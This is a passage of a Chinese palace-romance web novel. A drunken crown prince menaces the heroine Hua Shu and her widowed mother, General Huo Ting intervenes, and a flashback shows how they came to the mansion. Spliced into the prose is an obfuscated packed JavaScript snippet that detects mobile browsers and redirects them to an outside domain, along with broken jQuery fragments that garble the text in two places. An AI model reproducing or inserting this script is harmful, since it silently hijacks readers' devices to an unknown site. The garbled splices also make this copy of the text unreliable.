两人骇然转身,空无一人,这才意识到被骗了。 与此同时,华姝拉起霍凝雪,顺着林荫小路飞奔而逃。 烈日当空,两人纤薄的罗裙却浸满细密的汗珠。说不清楚的是被热的,还是被吓的。 但太子主仆身高马大,且有功夫在身,不消片刻就追上两个小姑娘的步子,“你个小丫头片子,胆敢戏耍于孤?按罪当斩!” 他心道,只要生米煮成熟饭,即便霍家父子赶到也是于事无补。 “郡主,你就藏在这别出来,我去引开他们。” 眼见,华姝手忙脚乱将霍凝雪推进转角的灌木丛,自己继续仓皇往前跑,胸脯气喘不迭。 她欲借花园地形,再寻一处藏身地。 虽然霍将军外出,但王爷行军多年,亦是识得此信号。 这烟花,是霍将军给她们的双重保障 再坚持会,等到王爷来救就安全了。 又或者,那人已经在赶回来的路上。 华姝努力为自己壮胆。奈何体力相差悬殊,不过三两个转弯即被追上。 她骇然转身,踉跄地跌倒在岩石上,逃无可逃,满腔绝望。 这一次,小白没法扑上来保护她了。 幸运,似乎再也不会降临了…… “跑啊,你怎么不跑了?” 眼瞧美人小脸苍白,太子就越兴奋。 酒气熏熏的微胖身形,背光遮天蔽日地笼罩出大片森寒的阴影,朝着手无缚鸡之力的娇小姑娘,急不可耐地倾压而下—— * 待客厅,屋后的连廊下。 官眷们的闲言碎语越说越不像话,孙氏不想给霍家父子招惹不必要的麻烦,就默默躲了出来,强忍着委屈与心酸独自消化。 好在她这些时日做派规矩,处处与霍宗飞避嫌,王府仆从们都相信她的为人。暖心的嬷嬷们得知后,忙中抽空前来劝道。 孙氏感动不矣,心情好了很多。 岂料这时! “华夫人,王爷这会在何处?” 太子闯入花园后,另一守卫匆匆跑来前厅通禀。 “什么?!” 孙氏听后摇摇欲坠,险些昏倒。 姝儿是夫君留下来的唯一念想,更是她的命。今日她自己就是一头撞死在太子殿下面前,也决不能让姝儿有一丝一毫的意外。 孙氏匆忙吩咐人带守卫去通传,自己连同一众嬷嬷脚不沾地往后花园赶。 可是镇南王府的后花园太大了,她们跑进去,就像闯入一座迷宫。 几人急得像无头的苍蝇,团团乱转,“这么大,可该往哪去救人呐?” 恰是这时,天空忽然盛放起五颜六色的信号烟花,像是彩虹一般带了无限的希望。 正愁没方向的几人,不由大喜,毫不犹豫奔了过去。 谁知半路,被太子撞见! * 彼此,太子正捂着右臂,骂骂咧咧走进湖边一处凉亭,“那小娘们瞧着软软嫩嫩,脾气倒不小。” 不经意抬眼,瞥见窗外一抹姝色。 娇俏妇人小跑而过,檀口轻喘,饱满胸脯起伏不定,瞧得他再度血脉喷张:“好俊的寡妇,难怪连霍宗飞都把持不住,去将她叫进来为孤泄火。” 亲卫随即出门,拦住孙氏。 只见他笑得亲厚:“华夫人来寻华姑娘的吧,她就在凉亭,您随我来。” “有劳您带路,姝儿她没事吧?” 孙氏关心则乱,瞧他是侍卫打扮,抬脚就欲进亭寻人。 好在嬷嬷们有经验,赶忙拉住她:“不对,他不是咱王府侍卫!” 然而就在这时,太子闪身而出,饥不择食地就伸手朝孙氏抱去—— “啊!” 事发突然,孙氏吓得花容失色,奋力挣躲。 嬷嬷们全力相护,但对方功夫强劲,三两下被踹倒一片。 明明是光天化日之下,阳光正盛。 但几个老嬷嬷疼痛难忍地趴在地上,从头到脚都渗出了阴寒。眼瞅着孙氏奋力挣扎却于事无补,最后半跪在地上,被一寸寸拖拽进凉亭。 “殿下且慢!” 幸好最后一刻,霍宗飞带人及时赶来 魁梧雄壮的高大身躯,宛若一座巍峨大山降临,让她们重获希望,都重重松了口气。 霍宗飞本在前厅与众官员,同陪太子畅饮。酒过三巡,太子提出如厕,一切看似如常。不曾想,没等到太子回席,倒是等来花园守卫。 不待心存侥幸,天空彩雾缭绕。 那是霍家独有的信号烟花,是他的女儿在向他求救! 这个畜生,竟连十岁女童都想下手? 霍宗飞拳头攥得嘎吱响,偏偏这醉鬼乃当朝储君。他强压怒火,黑脸质问:“太子殿下,小女如今人在何处?” 孙氏也一脸焦急地看过去。 侍卫刚刚来报,姝儿是跟郡主在一起。知道了郡主的位置,就相当于知道姝儿的下落。 * 几乎同一时辰里,城郊的茶馆后院 刀光剑影,横尸遍野,浓重的血腥味不甚刺鼻。 霍霆手持黄玉剑柄,于横七竖八的碎尸中,漠然笔挺而立。剑尖所染血液,还鲜红的冒着热气。 长缨从茶馆二楼的连廊,径直翻身而下,飞落在霍霆的身前,眉头紧锁:“禀将军,屋内床下有一条密道,那人被他逃了。” 霍霆闻言,面无表情下令:“追。抓活的……” “是信号烟花!” 突然这时,长缨骇然变色,指着对面的天空道:“将军,王府里的信号烟花,点燃了……” 信号烟花是他亲自送去的,今日二公子仍在书院上课,那点燃这烟花的指定是两位小姐。 没想到太子真敢在镇南王府动手,他这是真闲啊……嫌储君的位置太稳当了吧?! 霍霆顺着他所指方向,骤然转身。 王府的方向,天幕正炸裂开一团五颜六色的彩色云雾,明亮得刺眼,浓郁地沉颤。 素来不太显露情绪的他,脸色罕见一沉,脱口而出:“撤!” 说罢,率先飞身上马,马蹄疾速到尘土飞扬数里,转瞬间消失在众人的视野里。 见状,长缨也毫不犹豫骑马跟上。 其余亲兵不解,拦住他确认:“那贼寇就不追了?这可是千载难逢的好机会,咱就这样放弃了?” 是啊,多好的机会,将军居然就放弃了? 这算不算见色忘义……咳…… “没看到将军都回府了吗?赶紧跟上!” 长缨一脚踢开那人的手,随即勒紧缰绳,马鞭抽得飞快—— * 王府后花园 霍宗飞的质问,让太子颇为不耐地皱起眉。但忌惮来人身份,他终是变相示弱:“湖边喂鱼玩呢吧。” 霍宗飞悬着的心放下一半,随即命周管家带人去寻。 孙氏慌忙要跟上,却被太子一脚踩住裙角,“美人,孤可没准你走啊。” 孙氏如坠深渊,噗通跪地,“民妇一介寡妇,实在不配,还望太子殿下开恩呐。” 她焦灼看向霍宗飞。可王爷会为了非亲非故之人,忤逆太子吗?即便有意帮衬,也没资格同当朝储君说不。 果然,霍宗飞仅是转移话题:“殿下醉了,本王送您回房歇着。” 太子没动,“孤就要她伺候。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13745950|145271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他盘算着,拿捏住这寡妇,其女等会也不敢为那小郡主作证。霍宗飞吃了哑巴亏,必会放任这对母女不管。由着他将孤女寡母带回京,坐享齐人之福,可谓一举三得。 于是,太子加重语气:“怎么着,镇南王睡得这寡妇,本殿下就睡不得?” 此言一出,孙氏脸色煞白。 镇南王对亡妻珍重多年,素有贤名在外,岂能因她一个寡妇坏了清誉? 果不其然,霍宗飞听见突如其来的污言秽语,不由眉头紧锁,没再言语。 孙氏无力瘫坐在地,耻于令恩人蒙羞 她定会抵死不从,可她死了,姝儿该怎么办…… “殿下误会了。” 忽然,霍宗飞重新开口,脸色肃沉:“本王与华夫人并非无媒苟合,是她亡夫临终托孤。本王已将孙氏收入房中,故而才交与她操持赏菊宴。” 众人愣在当场,包括太子。 要知道霍家世代出痴汉,先王妃故去后,霍宗飞多年守身如玉。谁都没料到,他竟真会袒护一寡妇? 但太子反而更眼馋这寡妇的滋味了,简直是心痒难耐:“不过一个妾室,王爷让与孤又何妨?” “本王已允诺侧妃之位,来日生下一儿半女,就将她扶正。”霍宗飞面不改色道。 此乃他的权宜之计,专门应对太子借酒撒风。待其酒醒,碍于储君颜面总不好再硬抢。 这会四周几乎都是他的人,届时稍加解释,也不会有损华夫人的清誉。 不料,太子妃带着官眷们谈笑走来。 名为赏景,实则抓奸。太子酒后失德,损她脸面,但她会大方帮他纳新人。好名声有了,太子的亏欠也有了,可谓一举两得。 不过很快,太子妃笑不出来了。 “什么,太子爷要收了这寡妇?”堂堂丞相府嫡女,如何与寡妇共事一夫? 她气得揪紧帕子,苦口相劝:“镇南王丧妻多年,难得遇到可心的人儿,太子爷不若就成人之美吧。” “轮得到你多嘴?”太子“啪”得一巴掌扇去,径直将她扇蒙。 同行官眷之前怎么讥讽孙氏,这会就怎么讥讽瞧着她。 太子妃当众颜面无存,将头埋在婢女肩头痛哭。唯恐再惹怒太子,只敢闷声啜泣。 太子这会正有新头好,哪管旧人哭?他指着孙氏,“来人,将她给孤带走。” 霍宗飞挡到孙氏身前,“还请殿下三思。” “放肆!”太子提高音量:“镇南王你想造反不成?” 这话,霍宗飞自然不便接茬。 但他身形,岿然不动。 当着众多官眷的面,太子自认丢不得脸,只得不依不饶。他甚至下令,命人直接动手拉开霍宗飞。 王府侍卫一听,纷纷拔刀护主。 气氛,顿时剑拔弩张。 孙氏跌坐在霍宗飞身后,将一切都瞧在眼里,急在心头。 她知道,霍宗飞并非真瞧上她了。而是霍家世代镇守边关,保护百姓的责任大义,已深深刻入他们骨血里。 可越是如此,她越不想恩人为难,更不想坏了夫君一世清誉、耽误女儿未来嫁人。 孙氏悲恸三思后,含泪叩谢:“多谢王爷大恩,只求您能替民妇照顾好姝儿。” 将女儿留在这般大义的人家,她到那边见到夫君,也算能有个交代。 霍宗飞反应一瞬:“你要做什么?!” 回应他的,已是孙氏咬紧牙关,朝着旁边凉亭狠狠撞去。 事情因她而起,那就因她而亡吧—— “铎!” 突然这时,一柄黄玉玄铁重剑,踏着阵阵冷寒的破空声,从天而降,稳稳拦在了她面前。 8. 第 8 章 偌大空旷的王府里,一道熟悉的清冷沉声,从人群后方紧随而至。 “我霍家世代手握重兵,若想造反,你此刻还有命说么?” 来人语速不急不缓,甚至未掺半分情绪。 但王府上下皆是精神一振:太好了,将军回府了! 而太子听后,每一个字却像一把尖刀,划割着心弦。 因为霍霆有这份底气,更有这份血性 是开玩笑,还是造反前兆,全凭他一念之间。 太子僵硬转过身,望着款步走近的湖蓝色伟岸身影,满脸堆笑:“霍、霍将军,许久不见,别来无恙。” 霍霆没分给他一个眼神,环顾四处,“凝雪与华姝,现下人在何处?” 恰是这时,周管家护着霍凝雪折返:“启禀将军,老奴没有找到华小姐。” 霍凝雪扑进霍宗飞怀里,抽泣着说明经过,双眼通红怒瞪太子:“是他带走了华姐姐,都怪他!” 同时,另有人向霍霆禀明孙氏一事。 听完,霍霆有一瞬静默。 然后才看向太子。 狭长的凤眸,视线冰冷如刃,仿佛随时都能割开人咽喉。 吓得太子都忘记自称为孤,“我我我没动她,她自己跑到假山那,就不见了。” “假山旁边都是湖,莫非……” 不会浮水的孙氏,想都没想就从地上爬起来,慌忙冲向湖边方向。姝儿,你等着娘,娘这就来救你。 怎奈她急火攻心,昏倒在地,后被嬷嬷们抬回房。 相较之下,霍霆神情平稳如常:“你和她,谁拉响的信号?” 霍凝雪:“是我。” 众人满是不解,但长缨顿时大喜! “华姑娘没再发信号,想来已脱身” 长缨与自家将军默契相视一眼,“属下这就去寻。” 说罢,他便飞身而起,朝假山方向快速前行。 一想到太子办的荒唐事,心里生了好一通闷气。 这不是添乱嘛! 好好的岳母变继母,他家将军又要继续打光棍。过年眼瞅着都二十三了…… * 时辰倒回三刻钟之前 被太子压在身下刹那,华姝瞅准机会,拔下青木发簪,弹出银针,狠狠刺向其右臂。 这是父亲精雕细琢给她的十五岁生辰礼,能救人,也能防身。也是他送给她的最后一件礼物,华姝珍惜备至,始终戴在头上。 蒙亡父在天之灵保佑,她趁机逃脱。 而后辗转跑进假山,按动密室机关,藏入其中。 王府这密室,妙就妙在石门开阖时,毫无声响。 即便太子主仆紧随其后,也难察关窍。人就硬生生在眼皮子底下消失了,怎么都找寻不见,误以为她想不开跳湖,无趣离开。 华姝从孔缝中亲眼看他们走远,才敢口大气,瘫坐在地。 幽静阴冷的石室,回荡的喘气声,清晰而突兀。 她不自觉打量起密室,目光微有狐疑。于是轻敲了敲石壁,响起来的竟是“嗡嗡”沉闷回声,不同于石壁的清脆。 这莫非是,玄铁? 如此心思精巧的工程,让华姝不由忆起霍家父子因密室而郑重叮嘱霍凝雪的情形。 与此同时,她眼前浮现出一道湖蓝身影掏出银锭、敲中密室机关的画面…… 华姝眸光微怔。 若他那日没那么做,她今日会怎样? 答案显而易见—— 明知密室却躲不进来,生门变死路! 华姝后知后觉:他当时是特意示范给她看的,以便遇险时有能力自保。 否则即便王府机关重重、不担心因她得知密室而失守,他又何必多此一举? 心口倏地轻漾,忽然就暖暖的。 明明那人没在身边,却蓦地安心,好像这间石室包裹着她,保护着她。 他好像一直如此,教导方法,授她以渔,就像上次帮小白报仇那般。 “没人天生就该照顾另一人,也做不到时刻护在身旁。但姝儿可以学习他人所长,为自己所用。”这话,爹也曾教过她。 是同在军营的缘故吗? 霍将军和父亲的想法,好相像啊…… 华姝短暂歇息后,再度透过孔缝望向外面。 一方面,她担心太子埋伏在旁守株待兔,不敢出去;一方面,她又担心霍凝雪被太子找到遭遇不测,想出去瞧瞧。 艰难纠结时,望见周管家带人护着霍凝雪离开,悬着的心才彻底放平。 担心被旁人发现假山的秘密,她特意等了会,才走出密室追上去。 却是远远听到背走孙氏的嬷嬷们说:“以后不可再唤华夫人,得尊称一声侧妃娘娘了。” 谁是侧妃娘娘? 谁的侧妃娘娘? 华姝如遭雷劈! * 后花园 长缨走后,太子妃虽痛恨太子无德,但为了荣华尊贵,还是赔笑着出言相劝:“既然没造成伤害,霍将军,这事不若就算了吧。” “不能算!” 霍凝雪小嘴一瘪,哭着告状:“他不仅欺负华姐姐,还欺负我,还想打霍家军的主意。” 终于等来能撑腰的人,小姑娘再也无所顾忌,嚎啕大哭:“大哥,你要帮我和华姐姐报仇,打死这个大坏蛋,把他打成肉饼!” 此话一出,后方的竹林萧萧冷唳,似无风而动,肃杀一片。 太子妃猛地惊惧闭嘴。 这蠢货,居然敢对霍家军动歪脑筋? 他不要命了,她还想活着回京呢! 而太子更是不顾储君体面,径直躲到侍卫身后,“霍将军息怒,小孩子的话当不得真。” “原来,太子知道舍妹年纪小。” 霍霆甚是罕见地,轻 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王府仆从和侍卫们,看得分外解气。储君荒唐如此,日后何以护住天下黎民? 若霍将军当真要反,他们誓死追随! 忽然这时,“华姐姐。” 霍凝雪搂着霍宗飞的脖子,惊喜望向人群后方。 众人闻声,皆回头看去。 只见平日里明媚灵动的少女,此刻目光呆滞望着前方,像在看他们,又像不是。 阵阵寒风,将完好无损的米黄色衣裙,吹得皱巴而凌乱,映衬出纤薄衣料下娇小清瘦的轮廓,我见犹怜。 “你看,孤就说她没事吧?能跑能跳的。”太子极力为自己开脱。 “你闭嘴吧!” 霍凝雪头顶的小揪揪都气炸毛了。怒斥完太子,她一路小跑到华姝面前,小心翼翼向其招手,“华姐姐,你没事吧?华姐姐?” 少女瞳仁缓缓动了动,如梦初醒,转身头也不回地拔腿跑远。 “哎?”霍凝雪不解,看向父兄求助。 霍宗飞明了,华姝已听闻孙氏的事。 但他一时也不知,该怎么告知十岁女儿这场荒唐事,摇头叹口气:“等会这边事了,父王亲自去瞧瞧她。” 姝儿这孩子年幼丧父已是可怜,今日又舍身救下凝雪,懂事地更让人心疼,他也不希望她因太子的荒唐事受伤。 霍霆则定睛凝着,那抹米黄色娇小背影。 浓墨的长眸,逐渐恢复一惯浅淡。 他垂眸静默片刻,随后抬脚跟上去,也一并带走了森冷的厚重低压。 众人如释重负之余,恍然发觉他劲挺的后腰处,湖蓝锦袍突兀地殷红着一块。 将军竟受伤了,还没来得及包扎。 9. 第 9 章 华姝混混沌沌,毫无方向地朝前奔跑,两边的草木快速倒退。 逆着呼啸的秋风,她跑得筋疲力尽,却不敢停下。十五岁少女,企图用这样笨拙的方式,去逃避掉她无法接受的现实—— 娘改嫁了,她没有家了。 “小白,我好想你。” 华姝最后还是无意识地,钻进假山密室,这个黑暗却让她拥有一丝安全感的地方。 她缩坐在角落,好想像父亲去世时那般抱着小白偷偷哭一场。可小白不在了,娘以后也会成为别人的。 那她又该怎么办? “小白,姐姐该怎么办?” 少女沉郁的嗓音,黯然喃喃自语,迷茫又无力。 满腔的酸涩与委屈,想哭却哭不出来。 都说恃宠而骄,受宠爱的孩子哭泣会有人哄,有人疼。可她已然毫无倚仗,露出脆弱又有何用? 华姝将沉重的头埋进双膝,好想时光就永远静止在这一刻。 * 密室外的翠绿湖畔,晚荷亭亭而立。有风吹来,水波不清。 片刻后,水面倒映出一道湖蓝色修长身形。宽大柔顺的衣袂,同片片荷叶一起,随风摇晃。 他穿过林荫石子路,拾阶而上湖面拱桥,忽地顿住脚步,“出来。” 声音冷寒如冰。 “霍、霍将军好。” 有抹浅粉色罗裙,悻悻从旁边一排柏树后现身,走到桥头,盈盈一拜:“乔氏婉柔,见过霍将军。” “分管科考的员外郎,乔成是你父亲?” “正是家父,霍将军好记性。” 得知霍霆对父亲印象深刻,乔婉柔喜难自持,胆子越发变大,“婉柔适才发觉将军后腰有伤,恰是随身带有金疮药,特来相送。” 说话间,她掏出一小玉瓶递到他面前,雪腮绯红,目含秋波:“将军康健,大昭才能安定。此乃婉柔一点心意,还望您笑纳。” 先前听闻霍霆外出,加之有好色太子在,乔婉柔一直有意缩在人群中。而刚刚瞧见霍霆英勇逼人的气场后,她再难静候,一颗芳心全被带了过来。 想到他此刻心绪不佳,又有伤在身,乔婉柔自认这是天赐良机,必助她获得天赐良缘。 霍霆没接玉瓶,淡声道:“令尊在礼部任职,你在外一应礼数都代表他的门面。回去吧。” 乔婉柔愣住,脸颊依旧通红,却是羞愤涨红:“霍将军的意思是,是说我不知礼数?” 霍霆绕过她往前走,没答即是默认。 乔婉柔难以置信凝着他背影,不甘地跺跺脚,突然怒声吼道:“我再不知礼数,也知道朋友妻不可欺!” 突兀的高呼声响彻湖上,惊飞一片低空啄鱼的白水鹜。 也引起密室里,华姝的注意力。 情绪低落的她,迟钝反应几息,才透过孔缝往外看。望见湖面拱桥上,已经拉开一段距离的粉蓝两道身影。 朋友妻,是在说她娘? 什么叫“不可欺”,难道娘不是自愿改嫁给王爷? 是了,娘是昏迷中被嬷嬷背走的,都怪她光顾伤心,忽略事情全貌。 华姝蓦地站起身,想出去问个究竟,转而又迟疑地顿住脚……若真要与霍将军对峙,岂非恩将仇报? 湖心桥上,霍霆漠然走开几步,忽而微微侧头。目光看似落在湖面,耳廓则是朝着假山方向。 几息后,“去将乔大人请来。” 他淡声吩咐完,走到拱桥另一头,假山北岸旁的石桌坐下。 闲庭信步模样,让华姝一度分辩不清,他到底因何来假山附近。 * 隐在暗处的长缨令行禁止,旋即去往前面待客厅,很快将礼部员外郎乔成请来。 桥上踱步半晌的乔婉柔,也磨磨蹭蹭跟来,被其父一顿痛斥:“为父平日是怎么教导你的?好生糊涂!” 乔成转而朝霍霆拱手赔罪,“都是下官教女无方,失礼惊扰到了将军,还望您宽恕。” “失礼是小,犯上为大。” 霍霆端坐于石凳上,漫不经心摩挲着左手腕上的白檀佛珠,缠有四圈,“令千金,似有意指点我父王如何为人。” “是小女失言,还往霍将军息怒!” 乔成骇人失色,砰地跪地。 “面对那位的逼迫,王爷这般实属无奈,已是能保全华夫人的最好法子了。”后花园的事他已有耳闻,由衷坦言道:“王爷今日之举,合乎礼法且道义高深……” 后面的恭维,华姝没有再听。 弄清事情始末后,她心中五味杂陈。 她万万没想到,太子居然对年长他十多岁的妇人下毒手!幸好王爷仁善,否则以娘对爹的感情,恐怕唯有死路一条。 华姝后怕又自责地攥紧衣摆,本来答应爹要照顾好娘的,可她没能做到。 指尖不经意触碰到腰间的红色信号烟花,自责更甚:如果将它给了娘,是不是一切就不会发生…… “不,不对。” 华姝渐渐止住抽泣。 霍将军将乔大人叫来附近谈及此事,其实是有意提点她:这事不该怪别人,太子才是罪魁祸首!大家心知肚明,也都尽了最大努力。 她这会该去陪着娘,娘肯定很难过,也很担心她。 华姝抬手抹干眼泪,重新努力振作。 确定外面无人后,走了出来。 西方橙红光茫万丈,像是苍天给予的莫大鼓舞,又似恍然间幻化出一道熟悉的伟岸身形。 这人能止小儿啼哭,也能让人化悲痛为力量。 她双眼弯弯,自己为自己打气:“事已至此,往前看,明天会更好。” 不曾想,走到湖心亭时,碰见了乔婉柔。 * 乔成训诫完女儿,就恭敬地陪着霍霆,往前面待客厅去了。 乔婉柔无颜跟随,就假意走慢些,留在这散心。 她闷了一肚子火气,正无处可撒。 见这华家孤女长得娇娇小小,两眼哭得红肿如兔子,心知是个好拿捏的,于是阴阳怪调道:“哟,那大狐狸精勾搭完人了,这小的又出来作妖咯。” 华姝心里惦记着孙氏,本不想与腌臜之人纠缠。正要从旁走过,却又听到:“可惜华大夫英年早逝。若他泉下有知,你们母女今日犯下这等丑事,估计得气得从坟里爬出来。” 慈父清明一生,华姝如何忍得了他亡魂受辱? “你住口。” 她冷冷瞪向乔婉柔,娇声气得颤抖:“霍将军说得不错,你果然不知礼数。令尊分明已说清,你何必再在这胡搅蛮缠?” “你怎么会知道?” 乔婉柔脸色骤变:“你那会在旁边。可周围明明……” “这不重要。” 华姝意识到可 () { $(''.inform'').remove(); $(''#content'').append('' 能会泄露假山的秘密,慌忙打断对方,故作平静道:“重要的是,你该明辨是非,认清善恶。” 想到霍霆的教诲,慢慢真就镇定了下来。 目光炯炯,不卑不亢:“这世间从无道理,疯狗咬了人,反而怪罪受害者长满一身血肉。” 她嗓音天生娇软,但这话语却令乔婉柔如闻钟鸣,心神为之震荡。 不可否认,这世间芸芸众生,总有人要遭遇命运的不公。上位者恃强凌弱,他们没处说理,只能哑巴吃黄连。真相不能大白,施暴者不受惩处。但这并不代表着,真理就应当被改写。 可是,乔婉柔不允许自己被一介卑贱孤女教训,故意唱起反调:“这世间礼法,皆由尊者而定。” 她嘲弄地戳着华姝薄肩,“我为尊,你为卑,你就不配同我谈论大道理。” “那这话,你敢当众再说一遍吗?” 肩膀被戳痛,华姝顺势抓住她手,“走,我们去前厅。” “放开,你这个疯子。” 乔婉柔没料到华姝要将事情闹大,她才被接连训斥,这会死活不愿再当众出丑。 她使劲想抽回手,华姝攥住没放。 几番拉扯间,年长几岁的乔婉柔猛地用力一推,华姝不慎翻落桥下,疾速坠入寒秋湖水! “噗通——” 水面溅起巨大的水浪,惊走一众游鱼和水鸟。 乔婉柔顿时傻眼。 “咳咳。”华姝一连呛了好几口水,纤细双臂在湖面奋力挣扎,艰难呼救:“我不会凫水,救我……” 乔婉柔反应过来后,第一时间是想找人求助的,奈何四处无人。等她去而复返,只怕人早已沉入水底。 仓皇间,她生出了一个细思极恐的想法。 “是你非要拉扯我的,是你自作自受!”乔婉柔念念叨叨撇清干系,一狠心,慌忙转身逃离。 “你别……别走……咳咳……” 唯一知情人越跑越远,挣扎在生死一线间的华姝,也越来越绝望。 不过片刻,冷凉湖水就湿透衣裙,冻得她瑟瑟发抖。身子愈加沉重,体力很快耗尽。 水位线从锁骨,到下巴,紧接没过唇鼻。冷水不停倒灌入肺,她开始呼吸艰难,视线也变得模糊。 最后一丝意识耗尽前,眼前闪过很多不舍的美好回忆。 有老顽童慈父,有温柔母亲,有傲娇又黏人的小白,还有那个令她又敬又怕的清冷身影…… 对了,信号烟花! 她还有霍将军给的信号烟花! 可泡过水后,它还能用吗? 华姝不知道。 但本着对霍霆的莫名信任,她拼命攒出最后一点力道,将腰间的信号烟花举出水面,拉开关窍—— “砰!” 她彻底沉入水中。 两眼碧波茫茫,已看不见那像彩虹一般充满希望的五彩烟雾。眼皮沉重,视野缩成一条白线,转瞬陷入黑暗。 耳边只剩下浅浅的咕咚声。 霍将军会来救她吗? 会像那日在清水县,如天神一般,再次降临来拯救她吗? 昏死前,他貌似成了她最后牵挂。 不过,无论如何,她都祝他余生安好,好人该有好报。这样世间才能邪不压正,能明辨是非,道清黑白。 如果可以,也希望他能多笑笑,一生喜乐无忧…… 10. 第 10 章 十五岁这年,父亲死了。 华姝随母亲前往霍家,那个她从没踏足的,未婚夫婿的家。 其实不算真正的未婚夫,母亲婉拒了那人的提亲,说不想因为父亲的事让她急匆匆就嫁人。 那个男人没再坚持,也没生气,考虑到她们孤女寡母容易遭受欺凌,还主动提出让她们先来府上小住。 这是华姝路过窗外,偶然听得。 不过,她准备装作不知道。毕竟让她一个刚及笄的小姑娘,主动朝那个仅几面之缘的男人喊“未婚夫”,光是想想,就让她小脸……发白。 是的,不是害羞。 是害怕…… “姝儿,咱们到了。”母亲提醒她。 华姝收回思绪,先走下马车,再扶母亲下车。 映入她们眼帘的,是比华家足足大了三倍的红墙灰瓦建筑。是在偏远的秀清县,从不曾见的恢弘壮阔,令人震撼。 八月初秋的午后,天空飘着零星秋雨,烫金的“镇南王府”御赐牌匾,就掩映在青柏雨帘后。 霍氏世代镇守大昭国的东南边境,以赫赫军功,获得世袭罔替的异姓王尊荣。 王府管家带着十数位小厮和丫鬟,出门相迎:“老奴见过华夫人和华小姐。” 应是得主子叮嘱过,态度恭敬。让人生地不熟、寄人篱下的她们,稍稍松口气 沿着郁葱矮木的青石板路,华姝母女被一路带到主院的东厢房落座。 “王爷这会有要务处理,劳烦华夫人和华小姐稍坐。”管家解释完后,躬身站到门口。丫鬟们鱼贯悄声而入,端来各色精致茶点和水果,动作整齐划一。 茶香很好闻,但华姝叫不出名字。能认出的马蹄糕和柚子,九月才见市,八月这时候都是稀罕物件。而华家每年九月,也只是吃些山楂和脆柿子。 瞧着面前的白玉茶盏和青玉果盘,华姝坐在金丝楠木椅上,局促地一动未动。 她不自觉忆起那道素白高大的身影。好像恍然明了,他是如何经年累月地养成矜贵而疏冷的气质。 那位她在秀清县曾有幸得见的,镇南王府世子,霍霆。 *数日前* 整个华家笼罩在一片哀哀的哭声中。华父行医救人无数,来吊唁的人颇多。 华姝身着素白孝服,含泪拼命跑进灵堂,摔在地上好似破碎的布娃娃,“救命,救救我……” 紧接着,华良急赤白脸地从后院追进来。环顾众人一圈,转瞬变回儒雅姿态。 他抢先一步,苦口婆心劝说:“姝儿,二叔知道你这会难过,但我也是为咱家好。大哥不明不白溺水在半路,保不准另有隐情。早些去县衙备案,日后万一事发,县太爷也能酌情宽大处理。” “你怎么能颠倒黑白呀?” 眼看街坊们信以为真,也开始劝说她,华姝又气又急,浑身发抖。 慈父突然离世,母亲悲伤过度昏倒,她本就悲恸又无助。今日见到华良时,她特别欢喜。他与父亲手足情深,日后她们孤女寡母也算稍有倚仗。 怎料,“赶紧带你娘走,越快越好!我从官差朋友那得知,你爹并非意外溺水身亡,是犯下大错自裁谢罪!” 他故意恐吓紧张,让她们母女来不及弄清真相就走,落下弃亡人不管不顾的话柄,届时再想从他手中夺回家产就难了 被她看穿谎言,华良恼羞成怒,想打晕她强行带走,再卖进窑子。多亏家养的小白猫,不要命似的扑上去挠他,为她争取到逃来灵堂的机会…… 华姝哽咽着向众人道出真相。 奈何华良平日装得太好,教书育人无数,深受清秀县的人尊敬。尤其他还不经意似的露出血淋淋手背。 街坊们面面相觑,谁都没说话。 这一刻,华姝无助极了。她攥紧孝服下摆,强忍咽下酸涩泪水。 不要慌。 不能哭。 爹说过,眼泪解决不了问题。 她得想办法:“那你敢对我爹发毒誓吗?谁说谎谁不得好死!” 华良愣了下,但姜是老的辣,他巧妙转移话题:“那你说,大哥放着好好的军医不当,大半年不着家,是不是事实? “……”华姝双手垂落,无力反驳。 父亲半年前好端端辞去军医的差事,还不肯说缘由,娘为此哭了大半日。 她相信父亲为人,可辞官是事实。 怎么办? 她该如何护住父亲的清白? 又该如何戳破华良的伪善? “不是事实。” 就在这时,灵堂朝南的正门方向,传来一道陌生的低沉男音。 华姝下意识回身看去,来人身形高大,几乎遮尽门口的日光,整个人湮没在晦暗的阴影中。 依稀可见,他墨发玉冠,俊美如铸。长身玉立于萧萧秋风中,衣摆翩飞的广袖,衬得气质越发肃寒。 华姝不自觉僵住,心尖发紧,一度忘记追问他话中的含义。 这世上,怎么会有如此可怕的人? 他长得不凶,但极冷。 冷得吓人…… “你是何人,胆敢在此生事?” 或许是见他只着一袭简朴的缟素,华良将他当成了寻常来吊唁的,言语轻蔑。 “睁大你的狗眼!”其身后的侍卫,厉声训斥:“这是镇南王世子,执掌十万兵将的霍霆将军。” 这话一出,众人不约而同跪倒一片,虔诚而恭敬高呼:“草民拜见霍将军,霍将军万福!” 唯独华姝愣在原地。 霍将军…… 是父亲在虎啸营当军医时,效忠的那位霍将军吗? 是了,按照大昭国的礼数,百姓们见到皇室和亲王才需下跪。但她听父亲说过,唯有霍将军不靠出身,单凭自身功绩,就能让百姓甘心低头屈膝。 二十出头的弱冠之龄,已是大昭国的脊梁。但凡有他在,天就不会塌。 华姝心生欢喜,顾不得行礼,就像见到救命稻草似的,小跑着迎上前。 扑面袭来的压迫感让她怯怯驻足,可为着父亲她还是鼓足勇气,小心翼翼软声询问:“将军知晓我爹的死因?” 男人淡淡俯看她,并未回应。狭长的黑眸冰凛如刃,看得她紧张到喉头干涩。 她忍不住地后退一步,正手足无措时,意外听得他开口:“你父亲生前所行秘事,为国为民,死得重于泰山。” “……那就好,那就好。” 她就知道,父亲绝非败德辱行之辈 华姝心口巨石终于落地,满怀感激,朝他盈盈跪拜,“多谢将军帮我爹正名,让他清白一生,也能清白离世。” 一只有力的冷凉大手,先行抵住了她手臂,又分寸得当地一触即离。 他说:“英烈后人,无需跪我。” 语声轻淡,却稳稳安了她的心,同时重重扇了街坊和华良一巴掌。 街坊们面露愧色:“华大夫那般良善,为了家国大义不惜性命。我等刚刚竟怀疑他,当真被猪油蒙了心肝呐!” 华良更是面如死灰。但真正让他生不如死的,要数送殡那日。 